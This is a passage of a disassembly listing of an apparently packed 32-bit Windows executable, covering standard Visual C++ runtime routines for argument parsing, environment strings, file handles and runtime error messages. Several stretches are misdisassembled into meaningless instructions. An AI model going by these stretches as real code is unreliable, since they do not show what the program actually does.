0C0000093h jnz short loc_418E35 mov dword_431B0C, 85h jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418E35: ; CODE XREF: .nsp0:00418E27j cmp eax, 0C000008Dh jnz short loc_418E48 mov dword_431B0C, 82h jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: .nsp0:00418E3Aj cmp eax, 0C000008Fh jnz short loc_418E5B mov dword_431B0C, 86h jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418E5B: ; CODE XREF: .nsp0:00418E4Dj cmp eax, 0C0000092h jnz short loc_418E6C mov dword_431B0C, 8Ah loc_418E6C: ; CODE XREF: .nsp0:00418DFAj ; .nsp0:00418E0Dj ... push dword_431B0C push 8 call ebx pop ecx mov dword_431B0C, esi pop ecx pop esi jmp short loc_418E89 ; --------------------------------------------------------------------------- loc_418E81: ; CODE XREF: .nsp0:00418DB3j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_418E89: ; CODE XREF: .nsp0:00418E7Fj mov eax, [ebp+8] mov dword_462C74, eax loc_418E91: ; CODE XREF: .nsp0:00418D95j or eax, 0FFFFFFFFh jmp short loc_418E9F ; --------------------------------------------------------------------------- loc_418E96: ; CODE XREF: .nsp0:00418D70j ; .nsp0:00418D7Bj push dword ptr [ebp+0Ch] call dword_41D198 ; UnhandledExceptionFilter loc_418E9F: ; CODE XREF: .nsp0:00418D8Dj ; .nsp0:00418E94j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_418EA2 proc near ; CODE XREF: .nsp0:00418D68p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_431B08 cmp dword_431A88, edx push esi mov eax, offset dword_431A88 jz short loc_418ECF lea esi, [ecx+ecx*2] lea esi, ds:431A88h[esi*4] loc_418EC4: ; CODE XREF: sub_418EA2+2Bj add eax, 0Ch cmp eax, esi jnb short loc_418ECF cmp [eax], edx jnz short loc_418EC4 loc_418ECF: ; CODE XREF: sub_418EA2+16j ; sub_418EA2+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:431A88h[ecx*4] cmp eax, ecx jnb short loc_418EE2 cmp [eax], edx jz short locret_418EE4 loc_418EE2: ; CODE XREF: sub_418EA2+3Aj xor eax, eax locret_418EE4: ; CODE XREF: sub_418EA2+3Ej retn sub_418EA2 endp ; --------------------------------------------------------------------------- cmp dword_46422C, 0 jnz short loc_418EF3 call sub_418C54 loc_418EF3: ; CODE XREF: .nsp0:00418EECj push esi mov esi, dword_464224 mov al, [esi] cmp al, 22h jnz short loc_418F25 loc_418F00: ; CODE XREF: .nsp0:00418F18j ; .nsp0:00418F1Bj mov al, [esi+1] inc esi cmp al, 22h jz short loc_418F1D test al, al jz short loc_418F1D movzx eax, al push eax call sub_41AF7C test eax, eax pop ecx jz short loc_418F00 inc esi jmp short loc_418F00 ; --------------------------------------------------------------------------- loc_418F1D: ; CODE XREF: .nsp0:00418F06j ; .nsp0:00418F0Aj cmp byte ptr [esi], 22h jnz short loc_418F2F loc_418F22: ; CODE XREF: .nsp0:00418F37j inc esi jmp short loc_418F2F ; --------------------------------------------------------------------------- loc_418F25: ; CODE XREF: .nsp0:00418EFEj cmp al, 20h jbe short loc_418F2F loc_418F29: ; CODE XREF: .nsp0:00418F2Dj inc esi cmp byte ptr [esi], 20h ja short loc_418F29 loc_418F2F: ; CODE XREF: .nsp0:00418F20j ; .nsp0:00418F23j ... mov al, [esi] test al, al jz short loc_418F39 cmp al, 20h jbe short loc_418F22 loc_418F39: ; CODE XREF: .nsp0:00418F33j mov eax, esi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_418F3D proc near ; CODE XREF: .nsp0:loc_414456p push ebx xor ebx, ebx cmp dword_46422C, ebx push esi push edi jnz short loc_418F4F call sub_418C54 loc_418F4F: ; CODE XREF: sub_418F3D+Bj mov esi, dword_462C10 xor edi, edi loc_418F57: ; CODE XREF: sub_418F3D+30j mov al, [esi] cmp al, bl jz short loc_418F6F cmp al, 3Dh jz short loc_418F62 inc edi loc_418F62: ; CODE XREF: sub_418F3D+22j push esi call sub_4126F0 pop ecx lea esi, [esi+eax+1] jmp short loc_418F57 ; --------------------------------------------------------------------------- loc_418F6F: ; CODE XREF: sub_418F3D+1Ej lea eax, ds:4[edi*4] push eax call sub_41279F mov esi, eax pop ecx cmp esi, ebx mov dword_462BEC, esi jnz short loc_418F91 push 9 call sub_4144BE pop ecx loc_418F91: ; CODE XREF: sub_418F3D+4Aj mov edi, dword_462C10 cmp [edi], bl jz short loc_418FD4 push ebp loc_418F9C: ; CODE XREF: sub_418F3D+94j push edi call sub_4126F0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_418FCD push ebp call sub_41279F cmp eax, ebx pop ecx mov [esi], eax jnz short loc_418FC0 push 9 call sub_4144BE pop ecx loc_418FC0: ; CODE XREF: sub_418F3D+79j push edi push dword ptr [esi] call sub_412600 pop ecx add esi, 4 pop ecx loc_418FCD: ; CODE XREF: sub_418F3D+6Cj add edi, ebp cmp [edi], bl jnz short loc_418F9C pop ebp loc_418FD4: ; CODE XREF: sub_418F3D+5Cj push dword_462C10 call sub_412813 pop ecx mov dword_462C10, ebx mov [esi], ebx pop edi pop esi mov dword_464228, 1 pop ebx retn sub_418F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FF6 proc near ; CODE XREF: .nsp0:00414451p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_46422C, ebx push esi push edi jnz short loc_41900D call sub_418C54 loc_41900D: ; CODE XREF: sub_418FF6+10j mov esi, offset dword_462C78 push 104h push esi push ebx call near ptr 0AB0000h mov dword_464224[ecx], 2BFC3589h inc esi add [ebx+741838FEh], cl add cl, [ebx-7BA7208h] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41908F mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_41279F mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_419062 push 8 call sub_4144BE pop ecx loc_419062: ; CODE XREF: sub_418FF6+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41908F mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_462BE4, esi pop edi pop esi mov dword_462BE0, eax pop ebx leave retn sub_418FF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41908F proc near ; CODE XREF: sub_418FF6+47p ; sub_418FF6+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_4190B9 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4190B9: ; CODE XREF: sub_41908F+20j cmp byte ptr [eax], 22h jnz short loc_419102 loc_4190BE: ; CODE XREF: sub_41908F+58j ; sub_41908F+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_4190F0 test dl, dl jz short loc_4190F0 movzx edx, dl test byte_464101[edx], 4 jz short loc_4190E3 inc dword ptr [ecx] test esi, esi jz short loc_4190E3 mov dl, [eax] mov [esi], dl inc esi inc eax loc_4190E3: ; CODE XREF: sub_41908F+46j ; sub_41908F+4Cj inc dword ptr [ecx] test esi, esi jz short loc_4190BE mov dl, [eax] mov [esi], dl inc esi jmp short loc_4190BE ; --------------------------------------------------------------------------- loc_4190F0: ; CODE XREF: sub_41908F+36j ; sub_41908F+3Aj inc dword ptr [ecx] test esi, esi jz short loc_4190FA and byte ptr [esi], 0 inc esi loc_4190FA: ; CODE XREF: sub_41908F+65j cmp byte ptr [eax], 22h jnz short loc_419145 inc eax jmp short loc_419145 ; --------------------------------------------------------------------------- loc_419102: ; CODE XREF: sub_41908F+2Dj ; sub_41908F+A5j inc dword ptr [ecx] test esi, esi jz short loc_41910D mov dl, [eax] mov [esi], dl inc esi loc_41910D: ; CODE XREF: sub_41908F+77j mov dl, [eax] inc eax movzx ebx, dl test byte_464101[ebx], 4 jz short loc_419128 inc dword ptr [ecx] test esi, esi jz short loc_419127 mov bl, [eax] mov [esi], bl inc esi loc_419127: ; CODE XREF: sub_41908F+91j inc eax loc_419128: ; CODE XREF: sub_41908F+8Bj cmp dl, 20h jz short loc_419136 test dl, dl jz short loc_41913A cmp dl, 9 jnz short loc_419102 loc_419136: ; CODE XREF: sub_41908F+9Cj test dl, dl jnz short loc_41913D loc_41913A: ; CODE XREF: sub_41908F+A0j dec eax jmp short loc_419145 ; --------------------------------------------------------------------------- loc_41913D: ; CODE XREF: sub_41908F+A9j test esi, esi jz short loc_419145 and byte ptr [esi-1], 0 loc_419145: ; CODE XREF: sub_41908F+6Ej ; sub_41908F+71j ... and [ebp+arg_10], 0 loc_419149: ; CODE XREF: sub_41908F+19Ej cmp byte ptr [eax], 0 jz loc_419232 loc_419152: ; CODE XREF: sub_41908F+D0j mov dl, [eax] cmp dl, 20h jz short loc_41915E cmp dl, 9 jnz short loc_419161 loc_41915E: ; CODE XREF: sub_41908F+C8j inc eax jmp short loc_419152 ; --------------------------------------------------------------------------- loc_419161: ; CODE XREF: sub_41908F+CDj cmp byte ptr [eax], 0 jz loc_419232 test edi, edi jz short loc_419176 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_419176: ; CODE XREF: sub_41908F+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41917B: ; CODE XREF: sub_41908F+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_419184: ; CODE XREF: sub_41908F+FCj cmp byte ptr [eax], 5Ch jnz short loc_41918D inc eax inc ebx jmp short loc_419184 ; --------------------------------------------------------------------------- loc_41918D: ; CODE XREF: sub_41908F+F8j cmp byte ptr [eax], 22h jnz short loc_4191BE test bl, 1 jnz short loc_4191BC xor edi, edi cmp [ebp+arg_10], edi jz short loc_4191AB cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_4191AB mov eax, edx jmp short loc_4191AE ; --------------------------------------------------------------------------- loc_4191AB: ; CODE XREF: sub_41908F+10Dj ; sub_41908F+116j mov [ebp+arg_0], edi loc_4191AE: ; CODE XREF: sub_41908F+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_4191BC: ; CODE XREF: sub_41908F+106j shr ebx, 1 loc_4191BE: ; CODE XREF: sub_41908F+101j mov edx, ebx dec ebx test edx, edx jz short loc_4191D3 inc ebx loc_4191C6: ; CODE XREF: sub_41908F+142j test esi, esi jz short loc_4191CE mov byte ptr [esi], 5Ch inc esi loc_4191CE: ; CODE XREF: sub_41908F+139j inc dword ptr [ecx] dec ebx jnz short loc_4191C6 loc_4191D3: ; CODE XREF: sub_41908F+134j mov dl, [eax] test dl, dl jz short loc_419223 cmp [ebp+arg_10], 0 jnz short loc_4191E9 cmp dl, 20h jz short loc_419223 cmp dl, 9 jz short loc_419223 loc_4191E9: ; CODE XREF: sub_41908F+14Ej cmp [ebp+arg_0], 0 jz short loc_41921D test esi, esi jz short loc_41920C movzx ebx, dl test byte_464101[ebx], 4 jz short loc_419205 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_419205: ; CODE XREF: sub_41908F+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41921B ; --------------------------------------------------------------------------- loc_41920C: ; CODE XREF: sub_41908F+162j movzx edx, dl test byte_464101[edx], 4 jz short loc_41921B inc eax inc dword ptr [ecx] loc_41921B: ; CODE XREF: sub_41908F+17Bj ; sub_41908F+187j inc dword ptr [ecx] loc_41921D: ; CODE XREF: sub_41908F+15Ej inc eax jmp loc_41917B ; --------------------------------------------------------------------------- loc_419223: ; CODE XREF: sub_41908F+148j ; sub_41908F+153j ... test esi, esi jz short loc_41922B and byte ptr [esi], 0 inc esi loc_41922B: ; CODE XREF: sub_41908F+196j inc dword ptr [ecx] jmp loc_419149 ; --------------------------------------------------------------------------- loc_419232: ; CODE XREF: sub_41908F+BDj ; sub_41908F+D5j test edi, edi jz short loc_419239 and dword ptr [edi], 0 loc_419239: ; CODE XREF: sub_41908F+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41908F endp ; =============== S U B R O U T I N E ======================================= sub_419243 proc near ; CODE XREF: .nsp0:00414447p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_462D7C push ebx push ebp mov ebp, dword_41D03C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_419291 call ebp ; dword_41D03C mov esi, eax cmp esi, ebx jz short loc_419272 mov dword_462D7C, 1 jmp short loc_41929A ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419243+21j call dword_41D040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_41936C mov dword_462D7C, 2 jmp loc_419320 ; --------------------------------------------------------------------------- loc_419291: ; CODE XREF: sub_419243+19j cmp eax, 1 jnz loc_41931B loc_41929A: ; CODE XREF: sub_419243+2Dj cmp esi, ebx jnz short loc_4192AA call ebp ; dword_41D03C mov esi, eax cmp esi, ebx jz loc_41936C loc_4192AA: ; CODE XREF: sub_419243+59j cmp [esi], bx mov eax, esi jz short loc_4192BF loc_4192B1: ; CODE XREF: sub_419243+73j ; sub_419243+7Aj inc eax inc eax cmp [eax], bx jnz short loc_4192B1 inc eax inc eax cmp [eax], bx jnz short loc_4192B1 loc_4192BF: ; CODE XREF: sub_419243+6Cj sub eax, esi mov edi, dword_41D12C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_41D12C mov ebp, eax cmp ebp, ebx jz short loc_419310 push ebp call sub_41279F cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_419310 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_41D12C test eax, eax jnz short loc_41930C push [esp+18h+var_8] call sub_412813 pop ecx mov [esp+18h+var_8], ebx loc_41930C: ; CODE XREF: sub_419243+B9j mov ebx, [esp+18h+var_8] loc_419310: ; CODE XREF: sub_419243+99j ; sub_419243+A8j push esi call dword_41D1A0 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41936E ; --------------------------------------------------------------------------- loc_41931B: ; CODE XREF: sub_419243+51j cmp eax, 2 jnz short loc_41936C loc_419320: ; CODE XREF: sub_419243+49j cmp edi, ebx jnz short loc_419330 call dword_41D040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_41936C loc_419330: ; CODE XREF: sub_419243+DFj cmp [edi], bl mov eax, edi jz short loc_419340 loc_419336: ; CODE XREF: sub_419243+F6j ; sub_419243+FBj inc eax cmp [eax], bl jnz short loc_419336 inc eax cmp [eax], bl jnz short loc_419336 loc_419340: ; CODE XREF: sub_419243+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41279F mov esi, eax pop ecx cmp esi, ebx jnz short loc_419356 xor esi, esi jmp short loc_419361 ; --------------------------------------------------------------------------- loc_419356: ; CODE XREF: sub_419243+10Dj push ebp push edi push esi call sub_411FD0 add esp, 0Ch loc_419361: ; CODE XREF: sub_419243+111j push edi call near ptr 0AB0000h xor al, 8Bh mov bl, 2 loc_41936C: ; CODE XREF: sub_419243+39j ; sub_419243+61j ... xor eax, eax loc_41936E: ; CODE XREF: sub_419243+D6j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_419243 endp ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: .nsp0:00414437p sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41279F mov esi, eax pop ecx test esi, esi jnz short loc_419395 push 1Bh call sub_4144BE pop ecx loc_419395: ; CODE XREF: .nsp0:0041938Bj mov dword_463EE0, esi mov dword_463FE0, 20h lea eax, [esi+100h] loc_4193AB: ; CODE XREF: .nsp0:004193C7j cmp esi, eax jnb short loc_4193C9 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_463EE0 add esi, 8 add eax, 100h jmp short loc_4193AB ; --------------------------------------------------------------------------- loc_4193C9: ; CODE XREF: .nsp0:004193ADj lea eax, [esp+10h] push eax call near ptr 0AB0000h imul esp, [esi-7Dh], 7Ch and al, 42h add [edi], cl test al, ch ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov eax, [esp+44h] test eax, eax jz loc_4194A5 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_4193FF mov esi, eax loc_4193FF: ; CODE XREF: .nsp0:004193FBj cmp dword_463FE0, esi jge short loc_419459 mov edi, offset dword_463EE4 loc_41940C: ; CODE XREF: .nsp0:0041944Fj push 100h call sub_41279F test eax, eax pop ecx jz short loc_419453 add dword_463FE0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41942A: ; CODE XREF: .nsp0:00419444j cmp eax, ecx jnb short loc_419446 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41942A ; --------------------------------------------------------------------------- loc_419446: ; CODE XREF: .nsp0:0041942Cj add edi, 4 cmp dword_463FE0, esi jl short loc_41940C jmp short loc_419459 ; --------------------------------------------------------------------------- loc_419453: ; CODE XREF: .nsp0:00419419j mov esi, dword_463FE0 loc_419459: ; CODE XREF: .nsp0:00419405j ; .nsp0:00419451j xor edi, edi test esi, esi jle short loc_4194A5 loc_41945F: ; CODE XREF: .nsp0:004194A3j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41949C mov cl, [ebp+0] test cl, 1 jz short loc_41949C test cl, 8 jnz short loc_41947E push eax call near ptr 0AB0000h xchg eax, ebp test eax, eax jz short loc_41949C loc_41947E: ; CODE XREF: .nsp0:00419471j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_463EE0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41949C: ; CODE XREF: .nsp0:00419464j ; .nsp0:0041946Cj ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41945F loc_4194A5: ; CODE XREF: .nsp0:004193E6j ; .nsp0:0041945Dj xor ebx, ebx loc_4194A7: ; CODE XREF: .nsp0:0041950Aj mov eax, dword_463EE0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_419502 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_4194C2 push 0FFFFFFF6h pop eax jmp short loc_4194CC ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: .nsp0:004194BBj mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_4194CC: ; CODE XREF: .nsp0:004194C0j push eax call near ptr 0AB0000h test byte ptr [ebx-7C08h], 74h pop ss push edi call near ptr 0AB0000h mov eax, ds:0C74C085h and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_4194F7 or byte ptr [esi+4], 40h jmp short loc_419506 ; --------------------------------------------------------------------------- loc_4194F7: ; CODE XREF: .nsp0:004194EFj cmp eax, 3 jnz short loc_419506 or byte ptr [esi+4], 8 jmp short loc_419506 ; --------------------------------------------------------------------------- loc_419502: ; CODE XREF: .nsp0:004194B3j or byte ptr [esi+4], 80h loc_419506: ; CODE XREF: .nsp0:004194F5j ; .nsp0:004194FAj ... inc ebx cmp ebx, 3 jl short loc_4194A7 push dword_463FE0 call near ptr 0AB0000h lock pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419528 proc near ; DATA XREF: .nsp0:004143D2o ; sub_416F6A+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_4195C8 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41955B: ; CODE XREF: sub_419528+90j cmp esi, 0FFFFFFFFh jz short loc_4195C1 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4195AF push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_4195AF js short loc_4195BA mov edi, [ebx+8] push ebx call sub_412D40 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_412D82 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_412E16 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4195AF: ; CODE XREF: sub_419528+40j ; sub_419528+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41955B ; --------------------------------------------------------------------------- loc_4195BA: ; CODE XREF: sub_419528+54j mov eax, 0 jmp short loc_4195DD ; --------------------------------------------------------------------------- loc_4195C1: ; CODE XREF: sub_419528+36j mov eax, 1 jmp short loc_4195DD ; --------------------------------------------------------------------------- loc_4195C8: ; CODE XREF: sub_419528+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_412D82 add esp, 8 pop ebp mov eax, 1 loc_4195DD: ; CODE XREF: sub_419528+97j ; sub_419528+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419528 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_412D82 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_419600 proc near ; CODE XREF: sub_4144BE+9p ; sub_4144E3+9p mov eax, dword_462C18 cmp eax, 1 jz short loc_419617 test eax, eax jnz short locret_419638 cmp dword_4314A4, 1 jnz short locret_419638 loc_419617: ; CODE XREF: sub_419600+8j push 0FCh call sub_419639 mov eax, dword_462D80 pop ecx test eax, eax jz short loc_41962D call eax ; dword_462D80 loc_41962D: ; CODE XREF: sub_419600+29j push 0FFh call sub_419639 pop ecx locret_419638: ; CODE XREF: sub_419600+Cj ; sub_419600+15j retn sub_419600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419639 proc near ; CODE XREF: sub_4144BE+12p ; sub_4144E3+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_431B18 loc_41964C: ; CODE XREF: sub_419639+20j cmp edx, [eax] jz short loc_41965B add eax, 8 inc ecx cmp eax, offset off_431BA8 jl short loc_41964C loc_41965B: ; CODE XREF: sub_419639+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_431B18[esi] jnz near ptr loc_419786+3 mov eax, dword_462C18 cmp eax, 1 jz loc_419763 test eax, eax jnz short loc_41968C cmp dword_4314A4, 1 jz loc_419763 loc_41968C: ; CODE XREF: sub_419639+44j cmp edx, 0FCh jz near ptr loc_419786+3 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 0AB0000h inc ebx test eax, eax jnz short loc_4196C3 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_412600 pop ecx pop ecx loc_4196C3: ; CODE XREF: sub_419639+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_4126F0 inc eax pop ecx cmp eax, 3Ch jbe short loc_419706 lea eax, [ebp+var_1A4] push eax call sub_4126F0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_413710 add esp, 10h loc_419706: ; CODE XREF: sub_419639+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_412600 lea eax, [ebp+var_A0] push edi push eax call sub_412610 lea eax, [ebp+var_A0] push offset asc_41DB38 ; "\n\n" push eax call sub_412610 push off_431B1C[esi] lea eax, [ebp+var_A0] push eax call sub_412610 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41AFBE add esp, 2Ch pop edi jmp short near ptr loc_419786+3 ; --------------------------------------------------------------------------- loc_419763: ; CODE XREF: sub_419639+3Cj ; sub_419639+4Dj lea eax, [ebp+arg_0] lea esi, off_431B1C[esi] push 0 push eax push dword ptr [esi] call sub_4126F0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 0AB0000h test [eax-18h], edx js short near ptr loc_4197ED+1 loc_419786: ; CODE XREF: sub_419639+2Ej ; sub_419639+59j ... imul eax, [eax], 0C3C95E64h sub_419639 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41978C proc near ; CODE XREF: sub_414507+95p ; sub_414507+E8p ... var_74F48B40 = byte ptr -74F48B40h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_463FE0 push esi push edi jnb loc_419920 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:463EE0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_419920 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_4197DD loc_4197D6: ; CODE XREF: sub_41978C+177j xor eax, eax jmp loc_419934 ; --------------------------------------------------------------------------- loc_4197DD: ; CODE XREF: sub_41978C+48j test al, 20h jz short loc_4197ED push 2 push edi push ecx call sub_41844F add esp, 0Ch loc_4197ED: ; CODE XREF: sub_41978C+53j ; sub_419639+14Bj mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_4198BC mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_4198F4 loc_41980D: ; CODE XREF: sub_41978C+F5j lea eax, [ebp+var_414] loc_419813: ; CODE XREF: sub_41978C+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_419847 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_419832 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_419832: ; CODE XREF: sub_41978C+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_419813 loc_419847: ; CODE XREF: sub_41978C+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 0AB0000h pop esi test eax, eax jz short loc_4198B1 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_419883 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41980D loc_419883: ; CODE XREF: sub_41978C+EAj ; sub_41978C+12Ej xor edi, edi loc_419885: ; CODE XREF: sub_41978C+150j ; sub_41978C+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41991B cmp [ebp+arg_0], edi jz short loc_4198F4 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_4198E9 mov dword_462BC4, 9 mov dword_462BC8, eax jmp loc_419931 ; --------------------------------------------------------------------------- loc_4198B1: ; CODE XREF: sub_41978C+E0j call dword_41D06C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_419883 ; --------------------------------------------------------------------------- loc_4198BC: ; CODE XREF: sub_41978C+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 0AB0000h xor [ebp+var_74F48B40], al inc ebp hlt ; --------------------------------------------------------------------------- mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_419885 ; --------------------------------------------------------------------------- call dword_41D06C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_419885 ; --------------------------------------------------------------------------- loc_4198E9: ; CODE XREF: sub_41978C+10Fj push [ebp+arg_0] call sub_418CFA pop ecx jmp short loc_419931 ; --------------------------------------------------------------------------- loc_4198F4: ; CODE XREF: sub_41978C+7Bj ; sub_41978C+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_419909 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_4197D6 loc_419909: ; CODE XREF: sub_41978C+16Fj mov 